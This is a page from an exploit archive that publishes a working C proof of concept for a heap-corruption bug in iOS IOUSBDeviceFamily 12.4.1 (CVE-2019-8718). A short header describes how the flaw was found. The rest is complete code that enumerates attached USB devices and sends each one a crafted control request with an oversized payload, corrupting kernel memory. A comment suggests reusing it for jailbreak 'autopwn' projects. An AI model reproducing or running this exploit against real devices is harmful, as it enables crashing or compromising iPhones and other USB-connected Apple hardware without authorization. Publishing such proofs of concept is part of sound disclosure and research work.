exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

iOS IOUSBDeviceFamily 12.4.1 Heap Corruption Proof Of Concept

iOS IOUSBDeviceFamily 12.4.1 Heap Corruption Proof Of Concept
Posted Nov 11, 2019
Authored by Sem Voigtlander, Raz Mashat, Joshua Hill

iOS IOUSBDeviceFamily version 12.4.1 IOInterruptEventSource heap corruption proof of concept exploit.

tags | exploit, proof of concept
systems | ios
SHA-256 | e4196c53ac344849d403a2ef7101a57bf8050d2953b3ed572749d231a2e2985b

iOS IOUSBDeviceFamily 12.4.1 Heap Corruption Proof Of Concept

Change Mirror Download
# Exploit Title: iOS IOUSBDeviceFamily 12.4.1 - 'IOInterruptEventSource' Heap Corruption (PoC)
# Date: 2019-10-29
# Exploit Author: Sem Voigtlander, Joshua Hill and Raz Mashat
# Vendor Homepage: https://apple.com/
# Software Link: https://support.apple.com/en-hk/HT210606
# Version: iOS 13
# Tested on: iOS 12.4.1
# CVE : N/A

# A vulnerable implementation of IOInterruptEventSource on a workloop exists in IOUSBDeviceFamily.
# The code can be triggered by a local attacker by sending a malicious USB control request to device.
# It seems the faulting address register is corrupted as result of a heap corruption vulnerability.
# However, on earlier iOS versions (tested on 12.0.1) we were able to trigger a use after free in reserved->statistics relating to the same vulnerable code too.
# This bug was found through statically analyzing xnu from public source and optimized USB fuzzing.
# A proof of concept written in C for macOS is attached, for other platforms python and c code using libusb exists on GitHub (https://github.com/userlandkernel/USBusted)

iousbusted.c

/*
Pure IOKit implementation of CVE-2019-8718
Written by Sem Voigtländer.
Compile: clang iousbusted.c -o iousbusted -framework IOKit -framework CoreFoundation
Tip: You can also use this for projects like checkm8 autopwn etc.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <IOKit/usb/IOUSBLib.h>
#include <IOKit/IOCFPlugIn.h>
#include <CoreFoundation/CoreFoundation.h>

/* Faster comparissions for 64-bit integers than != and == */
#define FCOMP(P1,P2) !(P1 ^ P2)

const char *defaultMsg = "HELLO WORLD";

/* Method for sending an USB control message to a target device */
static int send_usb_msg(IOUSBDeviceInterface** dev, int type, int reqno, int val, int idx, const char *msg)
{

if(!dev){
printf("No device handle given.\n");
return KERN_FAILURE;
}

if(!msg)
msg = defaultMsg;

IOUSBDevRequest req;
req.bmRequestType = type;
req.bRequest = reqno;
req.wValue = val;
req.wIndex = idx;
req.wLength = strlen(msg);
req.pData = msg;
req.wLenDone = 0;
IOReturn rc = KERN_SUCCESS;

rc = (*dev)->DeviceRequest(dev, &req);

if(rc != KERN_SUCCESS)
{
return rc;
}

return KERN_SUCCESS;
}

static int send_usbusted_pwn_msg(IOUSBDeviceInterface** dev, const char *msg)
{

if(!dev){
printf("No device handle given.\n");
return KERN_FAILURE;
}

kern_return_t rc = send_usb_msg(dev, 0|0x80, 0x6, 0x30c, 0x409, msg);

if(rc != kIOReturnSuccess)
{
return rc;
}

return KERN_SUCCESS;
}

/* Print information from an IOKit USB device */
static int print_usb_device(io_service_t device){

kern_return_t err = KERN_SUCCESS;

CFNumberRef vid = 0;
CFNumberRef pid = 0;
CFNumberRef locationID = 0;

CFMutableDictionaryRef p = NULL;
err = IORegistryEntryCreateCFProperties(device, &p, NULL, 0);

if(err != KERN_SUCCESS || !p)
return err;

if(!CFDictionaryGetValueIfPresent(p, CFSTR("idVendor"), &vid))
return KERN_FAILURE;

if(!CFDictionaryGetValueIfPresent(p, CFSTR("idProduct"), &pid))
return KERN_FAILURE;

CFDictionaryGetValueIfPresent(p, CFSTR("locationID"), &locationID);

CFNumberGetValue(vid, kCFNumberSInt32Type, &vid);
CFNumberGetValue(pid, kCFNumberSInt32Type, &pid); // <-- yes I know this is dirty, I was tired.

if(locationID)
CFNumberGetValue(locationID, kCFNumberSInt32Type, &locationID);

printf("Got device %#x @ %#x (%#x:%#x)\n", device, locationID, vid, pid);
return err;
}

/* Get a handle for sending to a device */
static int get_usbdevice_handle(io_service_t device, IOUSBDeviceInterface* dev){

kern_return_t err = KERN_SUCCESS;
SInt32 score;
IOCFPlugInInterface** plugInInterface = NULL;

err = IOCreatePlugInInterfaceForService(device,
kIOUSBDeviceUserClientTypeID,
kIOCFPlugInInterfaceID,
&plugInInterface, &score);

if (err != KERN_SUCCESS || plugInInterface == NULL)
return err;

err = (*plugInInterface)->QueryInterface(plugInInterface, CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID), (LPVOID*)dev);

if(err != kIOReturnSuccess)
return err;

// Now done with the plugin interface.
(*plugInInterface)->Release(plugInInterface);
//plugInInterface = NULL;

if(!dev)
return KERN_FAILURE;

return err;
}

/* Iterate over all USB devices */
static int iterate_usb_devices(const char *msg){
CFMutableDictionaryRef matchingDict;
io_iterator_t iter;
kern_return_t kr;
io_service_t device;

/* set up a matching dictionary for the class */
matchingDict = IOServiceMatching(kIOUSBDeviceClassName);
if (matchingDict == NULL)
{
return -1; // fail
}

/* Now we have a dictionary, get an iterator.*/
kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS)
{
return -1;
}

/* iterate */
while ((device = IOIteratorNext(iter)))
{
/* do something with device, eg. check properties */
kr = print_usb_device(device);

if(kr != KERN_SUCCESS){
printf("Skipping device as it has no vid / pid.\n");
continue;
}

IOUSBDeviceInterface **dev = 0;
kr = get_usbdevice_handle(device, &dev);

if(kr != KERN_SUCCESS){
printf("Skipping device as no handle for it could be retrieved.\n");
continue;
}

kr = send_usbusted_pwn_msg(dev, msg);
printf("RET: %s\n\n", mach_error_string(kr));

/* And free the reference taken before continuing to the next item */
IOObjectRelease(device);
}

/* Done, release the iterator */
IOObjectRelease(iter);
return 0;
}

int main(int argc, char *argv[]){
char payload[108];
memset(&payload, 'A', 108);
int err = iterate_usb_devices(payload);
return err;
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close